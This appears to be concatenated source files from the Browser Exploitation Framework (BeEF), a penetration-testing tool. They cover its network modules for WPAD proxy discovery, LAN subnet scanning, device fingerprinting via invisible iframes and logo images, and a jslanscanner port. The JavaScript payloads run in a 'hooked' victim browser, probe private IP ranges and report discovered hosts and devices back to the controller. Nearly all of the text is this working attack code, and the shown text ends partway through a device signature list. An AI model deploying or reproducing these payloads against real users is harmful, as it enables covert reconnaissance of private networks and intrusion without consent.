# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: get_proxy_servers_wpad: enable: true category: "Network" name: "Get Proxy Servers (WPAD)" description: "This module retrieves proxy server addresses for the zombie browser's local network using Web Proxy Auto-Discovery Protocol (WPAD).<br/><br/>Note: The zombie browser must resolve <i>wpad</i> to an IP address successfully for this module to work." authors: ["bcoles"] target: working: ["ALL"]
Ruby
beef/modules/network/get_proxy_servers_wpad/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Get_proxy_servers_wpad < BeEF::Core::Command def post_execute save({ 'result' => @datastore['result'] }) configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true return unless @datastore['results'] =~ /^proxies=(.+)$/ session_id = @datastore['beefhook'] proxies = Regexp.last_match(1).to_s proxies.split(',').uniq.each do |proxy| next unless proxy =~ /^(SOCKS|PROXY)\s+([\d.]+:\d{1,5})/ proxy_type = Regexp.last_match(1).to_s ip = Regexp.last_match(2).to_s.split(':')[0] port = Regexp.last_match(2).to_s.split(':')[1] proto = 'HTTP' if proxy_type =~ /PROXY/ proto = 'SOCKS' if proxy_type =~ /SOCKS/ if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found #{proto} proxy [ip: #{ip}, port: #{port}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto.downcase, ip: ip, port: port, type: "#{proto} Proxy") end end end end
JavaScript
beef/modules/network/identify_lan_subnets/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isC()){ beef.debug("[command #<%= @command_id %>] Browser is not supported."); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); } var min_timeout = 500; var ranges = [ '192.168.0.0', '192.168.1.0', '192.168.2.0', '192.168.10.0', '192.168.100.0', '192.168.123.0', '10.0.0.0', '10.0.1.0', '10.1.1.0', '10.10.10.0', '172.16.0.0', '172.16.1.0' ]; var doScan = function(timeout) { var discovered_hosts = []; var proto = "http"; var doRequest = function(host) { var d = new Date; var xhr = new XMLHttpRequest(); xhr.timeout = timeout; xhr.onreadystatechange = function(){ if(xhr.readyState == 4){ var time = new Date().getTime() - d.getTime(); var aborted = false; // if we call window.stop() the event triggered is 'abort' // http://www.w3.org/TR/XMLHttpRequest/#event-handlers xhr.onabort = function(){ aborted = true; } xhr.onloadend = function(){ if(time < timeout){ // 'abort' fires always before 'onloadend' if(time > 1 && aborted === false){ beef.debug('Discovered host ['+host+'] in ['+time+'] ms'); discovered_hosts.push(host); } } } } } xhr.open("GET", proto + "://" + host, true); xhr.send(); } var requests = new Array(); for (var i = 0; i < ranges.length; i++) { // the following returns like 192.168.0. var c = ranges[i].split('.')[0]+'.'+ ranges[i].split('.')[1]+'.'+ ranges[i].split('.')[2]+'.'; // for every entry in the 'ranges' array, request // the most common gateway IPs, like: // 192.168.0.1, 192.168.0.100, 192.168.0.254 requests.push(c + '1'); requests.push(c + '100'); requests.push(c + '254'); } // process queue var count = requests.length; beef.debug("[command #<%= @command_id %>] Identifying LAN hosts ("+count+" URLs) (Timeout " + timeout + "ms)"); var check_timeout = (timeout * count + parseInt(timeout,10)); var handle = setInterval(function() { if (requests.length > 0) { doRequest(requests.pop()); } }, timeout); // check for results checkResults = function() { if (handle) { beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]"); clearInterval(handle); handle = 0; } var hosts = discovered_hosts.join(","); beef.debug("Discovered " + discovered_hosts.length + " hosts: " + hosts); if (discovered_hosts.length >= 5) { // if we get 5+ results something probably went wrong. this happens sometimes. if (timeout > min_timeout) { // if timeout is more than 500ms then decrease timeout by 500ms and try again beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)"); doScan(timeout-500); } else { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error()); } } else if (discovered_hosts.length == 0) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error()); } else { beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed."); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success()); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); } } setTimeout("checkResults();", check_timeout); } var timeout = "<%= @timeout %>"; if (isNaN(timeout) || timeout < 1) timeout = min_timeout; doScan(parseInt(timeout,10)); });
YAML
beef/modules/network/identify_lan_subnets/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: identify_lan_subnets: enable: true category: "Network" name: "Identify LAN Subnets" description: "Discover active hosts in the internal network(s) of the hooked browser. This module works by attempting to connect to commonly used LAN IP addresses and timing the response." authors: ["browserhacker.com"] target: user_notify: ["FF", "C"] not_working: ["IE", "S", "O"]
Ruby
beef/modules/network/identify_lan_subnets/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # ## # Ported to BeEF from: http://browserhacker.com/code/Ch10/index.html ## class Identify_lan_subnets < BeEF::Core::Command def self.options [ { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (ms)', 'value' => '500' } ] end def post_execute content = {} content['host'] = @datastore['host'] unless @datastore['host'].nil? content['hosts'] = @datastore['hosts'] unless @datastore['hosts'].nil? content['fail'] = 'No active hosts have been discovered.' if content.empty? save content end end
JavaScript
beef/modules/network/internal_network_fingerprinting/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var ips = new Array(); var ipRange = "<%= @ipRange %>"; var ports = "<%= @ports %>"; var threads = parseInt("<%= @threads %>", 10); var timeout = parseInt("<%= @timeout %>", 10)*1000; var wait = parseInt("<%= @wait %>", 10)*1000; if (ports != null) { ports = ports.split(','); } // set target IP addresses if (ipRange == 'common') { // use default IPs ips = [ '192.168.0.1', '192.168.0.100', '192.168.0.254', '192.168.1.1', '192.168.1.100', '192.168.1.254', '10.0.0.1', '10.1.1.1', '192.168.2.1', '192.168.2.254', '192.168.100.1', '192.168.100.254', '192.168.123.1', '192.168.123.254', '192.168.10.1', '192.168.10.254' ]; } else { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 // the fourth octet will be iterated. // (only C class IP ranges are supported atm) ipBounds = ipRange.split('-'); lowerBound = ipBounds[0].split('.')[3]; upperBound = ipBounds[1].split('.')[3]; for (i=lowerBound;i<=upperBound;i++){ ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; ips.push(ipToTest); } } /* Signatures in the form of: "Dev/App Name", -- string "Default Port", -- string "Protocol", -- string -- http/https "Use Multiple Ports if specified", -- boolean "IMG path", -- string -- file URI path "IMG width", -- integer "IMG height" -- integer When adding new signatures, try to find images which: * have a unique URI and width/height combination * use a valid SSL certificate - invalid certs prevent the resouce from loading * do not require HTTP authentication - auth popups may alert the user to the scan */ var urls = new Array( new Array( "Apache", "80","http",false, "/icons/apache_pb.gif",259,32), new Array( "Apache 2.x", "80","http",false, "/icons/apache_pb2.gif",259,32), new Array( "Microsoft IIS 7.x", "80","http",false, "/welcome.png",571,411), new Array( "Microsoft IIS", "80","http",false, "/pagerror.gif",36,48), new Array( "PHP", "80","http",false, "/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42",120,67), new Array( "QNAP NAS", "8080","http",false, "/ajax_obj/img/running.gif",16,16), new Array( "QNAP NAS", "443","https",false, "/cgi-bin/images/login/cloud_portal.png",165,32), new Array( "Asus RT Series Router", "80","http",false, "/images/top-02.gif",359,78), new Array( "Asus RX Series Router", "80","http",false, "/images/bu_blue.gif",82,16), new Array( "Belkin Router", "80","http",false, "/images/title_2.gif",321,28), new Array( "Billion Router", "80","http",false, "/customized/logo.gif",318,69), new Array( "Billion Router", "80","http",false, "/customized/logo.gif",224,55), new Array( "Netgear N300 Router", "80","http",false, "/settings.gif",750,85), new Array( "Linksys NAS", "80","http",false, "/Admin_top.JPG",750,52), new Array( "Linksys NAS", "80","http",false, "/logo.jpg",194,52), new Array( "D-Link DCS Camera", "80","http",false, "/devmodel.jpg",127,27), new Array( "Linksys Network Camera", "80","http",false, "/welcome.jpg",146,250), new Array( "Linksys Wireless-G Camera", "80","http",false, "/header.gif",750,97), new Array( "Cisco IP Phone", "80","http",false, "/Images/Logo",120,66), new Array( "Snom Phone", "80","http",false, "/img/snom_logo.png",168,62), new Array( "Dell Laser Printer", "80","http",false, "/ews/images/delllogo.gif",100,100), new Array( "Brother Printer", "80","http",false, "/pbio/brother.gif",144,52), new Array( "HP LaserJet Printer", "80","http",false, "/hp/device/images/logo.gif",42,27), new Array( "HP LaserJet Printer", "80","http",false, "/hp/device/images/hp_invent_logo.gif",160,52), new Array( "JBoss Application server", "8080","http",true, "/images/logo.gif",226,105), new Array( "APC InfraStruXure Manager", "80","http",false, "/images/Xlogo_Layer-1.gif",342,327), new Array( "Barracuda Spam/Virus Firewall", "8000","http",true, "/images/powered_by.gif",211,26), new Array( "TwonkyMedia Server", "9000","http",false, "/images/TwonkyMediaServer_logo.jpg",150,82), new Array( "VMware ESXi Server", "80","http",false, "/background.jpeg",1,1100), new Array( "Microsoft Remote Web Workplace", "80","http",false, "/Remote/images/submit.gif",31,31), new Array( "XAMPP", "80","http",false, "/xampp/img/xampp-logo-new.gif",200,59), new Array( "Xerox Printer", "80","http",false, "/printbut.gif",30,30), new Array( "Konica Minolta Printer", "80","http",false, "/G27_light.gif",206,26), new Array( "Epson Printer", "80","http",false, "/cyandot.gif",1,1), new Array( "HP Printer", "80","http",false, "/hp/device/images/hp_invent_logo.gif",160,52), new Array( "HP Printer Photosmart series", "80","http",false, "/webApps/images/hp_d_rgb_m.gif",50,50), new Array( "Lexmark Printer", "80","http",false, "/images/lexlogo.gif",153,115), new Array( "Canon Printer", "8000","http",false, "/login/image/canonlogo.gif",100,37), new Array( "Zenoss", "8080","http",false, "/zport/dmd/favicon.ico",16,16), new Array( "Wordpress", "80","http",true, "/wp-includes/images/wpmini-blue.png",16,16), new Array( "Glassfish Server", "4848","http",false, "/theme/com/sun/webui/jsf/suntheme/images/login/gradlogsides.jpg", 1, 200), new Array( "pfSense", "443","https",false, "/themes/pfsense_ng/images/logo.gif",200,56), new Array( "pfSense CE <= 2.3.2", "80","http",false, "/logo.png",124,36), new Array( "Apache Tomcat", "8080","http",true, "/docs/images/tomcat.gif",146,92), new Array( "Jenkins", "80","http",false, "/static/"+Math.random().toString(36).substring(2,10)+"/images/jenkins.png",240,323), new Array( "SAP NetWeaver", "80","http",true, "/logon/layout/shadow.jpg",18,4), new Array( "Netscape iPlanet", "80","http",true, "/mc-icons/menu.gif",21,18), new Array("Kemp Load Master", "443", "https", false, "/kemplogo.png",951,75), new Array( "m0n0wall", "80","http",false, "/logo.gif",150,47), new Array("SMC Router","80","http",false,"/images/logo.gif",133,59), new Array("ntop","3000","http",false,"/ntop_logo.png",103,50), new Array( "ZeroShell", "80","http",false, "/kerbynet/Zeroshell.gif",180,63) // Uncommon signatures //new Array("Microsoft ADFS","80","http",false,"/adfs/portal/illustration/illustration.png",1420,1080), //new Array("Rejetto HttpFileServer", "8080", "http",i true, "/~img27",16,16), //new Array("Citrix MetaFrame", "80", "http", false, "/Citrix/MetaFrameXP/default/media/nfusehead.gif",230,41), //new Array("Oracle E-Business Suite","80","http",false,"/OA_MEDIA/FNDSSCORP.gif",134,31), //new Array("OracleAS Reports Service","80","http",false,"/reports/images/oraclelogo_sizewithprodbrand.gif",133,20), //new Array("Oracle iLearning","80","http",false,"/ilearn/en/shared/img/coin_help_ready.gif",60,32), //new Array("RSA Self-Service Console", "80", "http",false,"/console-selfservice/images/default/icn_help.gif",14,14), //new Array("Sambar Server", "80", "http",false,"/sysimage/system/powerby.gif",41,23), //new Array("BeEF","3000","http",false,"/ui/media/images/beef.png",200,149), //new Array("BeEF (PHP)","80","http",false,"/beef/images/beef.gif",32,32), //new Array("Siemens Simatic","80",false,"/Images/Siemens_Firmenmarke.gif",115,76), //new Array("Alt-N MDaemon World Client","3000","http",false,"/LookOut/biglogo.gif",342,98), //new Array("VLC Media Player","8080","http",false,"/images/white_cross_small.png",9,9), //new Array("Syncrify","5800","http",false,"/images/468x60.gif",468,60), //new Array("Winamp Web Interface","80","http",false,"/img?image=121",30,30), ); checkSignature = function(signature_id, signature_name, proto, ip, port, uri) { var img = new Image; var dom = beef.dom.createInvisibleIframe(); dom.setAttribute('id', 'lan_<%= @command_id %>_'+signature_id+'_'+proto+'_'+ip); beef.debug("[Network Fingerprint] Checking for [" + signature_name + "] at IP [" + ip + "] (" + proto + ")"); img.id = signature_id; img.src = proto+"://"+ip+":"+port+uri; img.onerror = function() { dom.removeChild(this); } img.onload = function() { if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) { beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+'&discovered='+signature_name+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); beef.debug("[Network Fingerprint] Found [" + signature_name + "] with URL [" + escape(this.src) + "]"); } } dom.appendChild(img); // stop & remove iframe setTimeout(function() { if (dom.contentWindow.stop !== undefined) { dom.contentWindow.stop(); } else if (dom.contentWindow.document.execCommand !== undefined) { dom.contentWindow.document.execCommand("Stop", false); } document.body.removeChild(dom); }, timeout); } WorkerQueue = function(frequency) { var stack = []; var timer = null; var frequency = frequency; var start_scan = (new Date).getTime(); this.process = function() { var item = stack.shift(); eval(item); if (stack.length === 0) { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; beef.debug("[Network Fingerprint] Worker queue is complete ["+interval+" ms]"); return; } } this.queue = function(item) { stack.push(item); if (timer === null) { timer = setInterval(this.process, frequency); } } } // create worker queue var workers = new Array(); for (w=0; w < threads; w++) { workers.push(new WorkerQueue(wait)); } // for each URI signature for (var u=0; u < urls.length; u++) { var worker = workers[u % threads]; // for each LAN IP address for (var i=0; i < ips.length; i++) { if (!urls[u][3]) { // use default port worker.queue('checkSignature("'+u+'","'+urls[u][0]+'","'+urls[u][2]+'","'+ips[i]+'","'+urls[u][1]+'","'+urls[u][4]+'");'); } else { // iterate through all the specified ports for (var p=0; p < ports.length; p++) { worker.queue('checkSignature("'+u+'","'+urls[u][0]+'","'+urls[u][2]+'","'+ips[i]+'","'+ports[p]+'","'+urls[u][4]+'");'); } } } } });
YAML
beef/modules/network/internal_network_fingerprinting/config.yaml
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: internal_network_fingerprinting: enable: true category: "Network" name: "Fingerprint Local Network" description: "Discover devices and applications in the victim's Local Area Network.<br/><br/>This module uses a signature based approach - based on default logo images/favicons for known network device/applications - to fingerprint each IP address within the LAN.<br/><br/>Partially based on <a href='http://yokoso.inguardians.com/'>Yokosou</a> and <a href='http://code.google.com/p/jslanscanner/'>jslanscanner</a>.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses." authors: ["bcoles", "wade", "antisnatchor"] target: user_notify: ["ALL"]
Ruby
beef/modules/network/internal_network_fingerprinting/module.rb
# # Copyright (c) 2006-2023 Wade Alcorn - [email protected] # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # class Internal_network_fingerprinting < BeEF::Core::Command def self.options [ { 'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254' }, { 'name' => 'ports', 'ui_label' => 'Ports to test', 'value' => '80,8080' }, { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3' }, { 'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '5' }, { 'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10' } ] end def post_execute content = {} content['discovered'] = @datastore['discovered'] unless @datastore['discovered'].nil? content['url'] = @datastore['url'] unless @datastore['url'].nil? content['fail'] = 'No devices/applications have been discovered.' if content.empty? save content configuration = BeEF::Core::Configuration.instance return unless configuration.get('beef.extension.network.enable') == true && (@datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=(\d+)&discovered=(.+)&url=(.+)/) proto = Regexp.last_match(1) ip = Regexp.last_match(2) port = Regexp.last_match(3) discovered = Regexp.last_match(4) url = Regexp.last_match(5) session_id = @datastore['beefhook'] if BeEF::Filters.is_valid_ip?(ip) print_debug("Hooked browser found '#{discovered}' [ip: #{ip}]") BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: discovered) end end end
JavaScript
beef/modules/network/jslanscanner/command.js
// // Copyright (c) 2006-2023Wade Alcorn - [email protected] // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // // Ported to BeEF from jslanscanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isS()){ beef.debug("[command #<%= @command_id %>] Browser is not supported."); beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); return; } //------------------------------------------------------------------------------------------ // LAN SCANNER created by Gareth Heyes (gareth at businessinfo co uk) // Blog: www.thespanner.co.uk // Labs site : www.businessinfo.co.uk // Version 2.1 //------------------------------------------------------------------------------------------ /* Copyright 2007 Gareth Heyes (email : gareth[at]NOSPAM businessinfo(dot)(co)(dot)uk This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ var devices = [ {make:'DLink',model:'dgl4100',graphic:'/html/images/dgl4100.jpg'}, {make:'DLink',model:'dgl4300',graphic:'/html/images/dgl4300.jpg'}, {make:'DLink',model:'di524',graphic:'/html/images/di524.jpg'}, {make:'DLink',model:'di624',graphic:'/html/images/di624.jpg'}, {make:'DLink',model:'di624s',graphic:'/html/images/di624s.jpg'}, {make:'DLink',model:'di724gu',graphic:'/html/images/di724gu.jpg'}, {make:'DLink',model:'dilb604',graphic:'/html/images/dilb604.jpg'}, {make:'DLink',model:'dir130',graphic:'/html/images/dir130.jpg'}, {make:'DLink',model:'dir330',graphic:'/html/images/dir330.jpg'}, {make:'DLink',model:'dir450',graphic:'/html/images/dir450.jpg'}, {make:'DLink',model:'dir451',graphic:'/html/images/dir451.jpg'}, {make:'DLink',model:'dir615',graphic:'/html/images/dir615.jpg'}, {make:'DLink',model:'dir625',graphic:'/html/images/dir625.jpg'}, {make:'DLink',model:'dir635',graphic:'/html/images/dir635.jpg'}, {make:'DLink',model:'dir655',graphic:'/html/images/dir655.jpg'}, {make:'DLink',model:'dir660',graphic:'/html/images/dir660.jpg'}, {make:'DLink',model:'ebr2310',graphic:'/html/images/ebr2310.jpg'}, {make:'DLink',model:'kr1',graphic:'/html/images/kr1.jpg'}, {make:'DLink',model:'tmg5240',graphic:'/html/images/tmg5240.jpg'}, {make:'DLink',model:'wbr1310',graphic:'/html/images/wbr1310.jpg'}, {make:'DLink',model:'wbr2310',graphic:'/html/images/wbr2310.jpg'}, {make:'DLink',model:'dsl604',graphic:'/html/images/dsl604.jpg'}, {make:'DLink',model:'dsl2320b',graphic:'/html/images/dsl2320b.jpg'}, {make:'DLink',model:'dsl2540b',graphic:'/html/images/dsl2540b.jpg'}, {make:'DLink',model:'dsl2640b',graphic:'/html/images/dsl2640b.jpg'}, {make:'DLink',model:'dsl302g',graphic:'/html/images/dsl302g.jpg'}, {make:'DLink',model:'dsl502g',graphic:'/html/images/dsl502g.jpg'}, {make:'DLink',model:'dgl3420',graphic:'/html/images/dgl3420.jpg'}, {make:'DLink',model:'dwl2100ap',graphic:'/html/images/dwl2100ap.jpg'}, {make:'DLink',model:'dwl2130ap',graphic:'/html/images/dwl2130ap.jpg'}, {make:'DLink',model:'dwl2200ap',graphic:'/html/images/dwl2200ap.jpg'}, {make:'DLink',model:'dwl2230ap',graphic:'/html/images/dwl2230ap.jpg'}, {make:'DLink',model:'dwl2700ap',graphic:'/html/images/dwl2700ap.jpg'}, {make:'DLink',model:'dwl3200ap',graphic:'/html/images/dwl3200ap.jpg'}, {make:'DLink',model:'dwl7100ap',graphic:'/html/images/dwl7100ap.jpg'}, {make:'DLink',model:'dwl7130ap',graphic:'/html/images/dwl7130ap.jpg'}, {make:'DLink',model:'dwl7200ap',graphic:'/html/images/dwl7200ap.jpg'}, {make:'DLink',model:'dwl7230ap',graphic:'/html/images/dwl7230ap.jpg'}, {make:'DLink',model:'dwl7700ap',graphic:'/html/images/dwl7700ap.jpg'}, {make:'DLink',model:'dwl8200ap',graphic:'/html/images/dwl8200ap.jpg'}, {make:'DLink',model:'dwl8220ap',graphic:'/html/images/dwl8220ap.jpg'}, {make:'DLink',model:'dwlag132',graphic:'/html/images/dwlag132.jpg'}, {make:'DLink',model:'dwlag530',graphic:'/html/images/dwlag530.jpg'}, {make:'DLink',model:'dwlag660',graphic:'/html/images/dwlag660.jpg'}, {make:'DLink',model:'dwlag700ap',graphic:'/html/images/dwlag700ap.jpg'}, {make:'DLink',model:'dwlg120',graphic:'/html/images/dwlg120.jpg'}, {make:'DLink',model:'dwlg122',graphic:'/html/images/dwlg122.jpg'}, {make:'DLink',model:'dwlg132',graphic:'/html/images/dwlg132.jpg'}, {make:'DLink',model:'dwlg510',graphic:'/html/images/dwlg510.jpg'}, {make:'DLink',model:'dwlg520',graphic:'/html/images/dwlg520.jpg'}, {make:'DLink',model:'dwlg520m',graphic:'/html/images/dwlg520m.jpg'}, {make:'DLink',model:'dwlg550',graphic:'/html/images/dwlg550.jpg'}, {make:'DLink',model:'dwlg630',graphic:'/html/images/dwlg630.jpg'}, {make:'DLink',model:'dwlg650',graphic:'/html/images/dwlg650.jpg'}, {make:'DLink',model:'dwlg650m',graphic:'/html/images/dwlg650m.jpg'}, {make:'DLink',model:'dwlg680',graphic:'/html/images/dwlg680.jpg'}, {make:'DLink',model:'dwlg700ap',graphic:'/html/images/dwlg700ap.jpg'}, {make:'DLink',model:'dwlg710',graphic:'/html/images/dwlg710.jpg'}, {make:'DLink',model:'dwlg730ap',graphic:'/html/images/dwlg730ap.jpg'}, {make:'DLink',model:'dwlg820',graphic:'/html/images/dwlg820.jpg'}, {make:'DLink',model:'wda1320',graphic:'/html/images/wda1320.jpg'}, {make:'DLink',model:'wda2320',graphic:'/html/images/wda2320.jpg'}, {make:'DLink',model:'wna1330',graphic:'/html/images/wna1330.jpg'}, {make:'DLink',model:'wna2330',graphic:'/html/images/wna2330.jpg'}, {make:'DLink',model:'wua1340',graphic:'/html/images/wua1340.jpg'}, {make:'DLink',model:'wua2340',graphic:'/html/images/wua2340.jpg'}, {make:'DLink',model:'DSL502T',graphic:'/html/images/help_p.jpg'}, {make:'DLink',model:'DSL524T',graphic:'/html/images/device.gif'}, {make:'Netgear',model:'CG814WG',graphic:'/images/../settingsCG814WG.gif'}, {make:'Netgear',model:'CM212',graphic:'/images/../settingsCM212.gif'}, {make:'Netgear',model:'DG632',graphic:'/images/../settingsDG632.gif'}, {make:'Netgear',model:'DG632B',graphic:'/images/../settingsDG632B.gif'}, {make:'Netgear',model:'DG814',graphic:'/images/../settingsDG814.gif'}, {make:'Netgear',model:'DG824M',graphic:'/images/../settingsDG824M.gif'}, {make:'Netgear',model:'DG834',graphic:'/images/../settingsDG834.gif'}, {make:'Netgear',model:'DG834B',graphic:'/images/../settingsDG834B.gif'}, {make:'Netgear',model:'DG834G',graphic:'/images/../settingsDG834G.gif'}, {make:'Netgear',model:'DG834GB',graphic:'/images/../settingsDG834GB.gif'}, {make:'Netgear',model:'DG834GT',graphic:'/images/../settingsDG834GT.gif'}, {make:'Netgear',model:'DG834GTB',graphic:'/images/../settingsDG834GTB.gif'}, {make:'Netgear',model:'DG834GV',graphic:'/images/../settingsDG834GV.gif'}, {make:'Netgear',model:'dg834N',graphic:'/images/../settingsdg834N.gif'}, {make:'Netgear',model:'DG834PN',graphic:'/images/../settingsDG834PN.gif'}, {make:'Netgear',model:'DGFV338',graphic:'/images/../settingsDGFV338.gif'}, {make:'Netgear',model:'DM111P',graphic:'/images/../settingsDM111P.gif'}, {make:'Netgear',model:'DM602',graphic:'/images/../settingsDM602.gif'}, {make:'Netgear',model:'FM114P',graphic:'/images/../settingsFM114P.gif'}, {make:'Netgear',model:'FR114P',graphic:'/images/../settingsFR114P.gif'}, {make:'Netgear',model:'FR114W',graphic:'/images/../settingsFR114W.gif'}, {make:'Netgear',model:'FR314',graphic:'/images/../settingsFR314.gif'}, {make:'Netgear',model:'FR318',graphic:'/images/../settingsFR318.gif'}, {make:'Netgear',model:'FR328S',graphic:'/images/../settingsFR328S.gif'}, {make:'Netgear',model:'FV318',graphic:'/images/../settingsFV318.gif'}, {make:'Netgear',model:'FVG318',graphic:'/images/../settingsFVG318.gif'}, {make:'Netgear',model:'FVL328',graphic:'/images/../settingsFVL328.gif'}, {make:'Netgear',model:'FVM318',graphic:'/images/../settingsFVM318.gif'}, {make:'Netgear',model:'FVS114',graphic:'/images/../settingsFVS114.gif'}, {make:'Netgear',model:'FVS124G',graphic:'/images/../settingsFVS124G.gif'}, {make:'Netgear',model:'FVS318',graphic:'/images/../settingsFVS318.gif'}, {make:'Netgear',model:'FVS328',graphic:'/images/../settingsFVS328.gif'}, {make:'Netgear',model:'FVS338',graphic:'/images/../settingsFVS338.gif'}, {make:'Netgear',model:'FVX538',graphic:'/images/../settingsFVX538.gif'}, {make:'Netgear',model:'FWAG114',graphic:'/images/../settingsFWAG114.gif'}, {make:'Netgear',model:'FWG114P',graphic:'/images/../settingsFWG114P.gif'}, {make:'Netgear',model:'GA302T',graphic:'/images/../settingsGA302T.gif'}, {make:'Netgear',model:'GA311',graphic:'/images/../settingsGA311.gif'}, {make:'Netgear',model:'GA511',graphic:'/images/../settingsGA511.gif'}, {make:'Netgear',model:'GA620',graphic:'/images/../settingsGA620.gif'}, {make:'Netgear',model:'GA621',graphic:'/images/../settingsGA621.gif'}, {make:'Netgear',model:'GA622T',graphic:'/images/../settingsGA622T.gif'}, {make:'Netgear',model:'HE102',graphic:'/images/../settingsHE102.gif'}, {make:'Netgear',model:'HR314',graphic:'/images/../settingsHR314.gif'}, {make:'Netgear',model:'JFS516',graphic:'/images/../settingsJFS516.gif'}, {make:'Netgear',model:'JFS524',graphic:'/images/../settingsJFS524.gif'}, {make:'Netgear',model:'JFS524F',graphic:'/images/../settingsJFS524F.gif'}, {make:'Netgear',model:'JGS516',graphic:'/images/../settingsJGS516.gif'}, {make:'Netgear',model:'JGS524',graphic:'/images/../settingsJGS524.gif'}, {make:'Netgear',model:'JGS524F',graphic:'/images/../settingsJGS524F.gif'}, {make:'Netgear',model:'KWGR614',graphic:'/images/../settingsKWGR614.gif'}, {make:'Netgear',model:'ME101',graphic:'/images/../settingsME101.gif'}, {make:'Netgear',model:'ME102',graphic:'/images/../settingsME102.gif'}, {make:'Netgear',model:'ME103',graphic:'/images/../settingsME103.gif'}, {make:'Netgear',model:'MR314',graphic:'/images/../settingsMR314.gif'}, {make:'Netgear',model:'MR814',graphic:'/images/../settingsMR814.gif'}, {make:'Netgear',model:'RH340',graphic:'/images/../settingsRH340.gif'}, {make:'Netgear',model:'RH348',graphic:'/images/../settingsRH348.gif'}, {make:'Netgear',model:'RM356',graphic:'/images/../settingsRM356.gif'}, {make:'Netgear',model:'RO318',graphic:'/images/../settingsRO318.gif'}, {make:'Netgear',model:'RP114',graphic:'/images/../settingsRP114.gif'}, {make:'Netgear',model:'RP334',graphic:'/images/../settingsRP334.gif'}, {make:'Netgear',model:'RP614',graphic:'/images/../settingsRP614.gif'}, {make:'Netgear',model:'RT311',graphic:'/images/../settingsRT311.gif'}, {make:'Netgear',model:'RT314',graphic:'/images/../settingsRT314.gif'}, 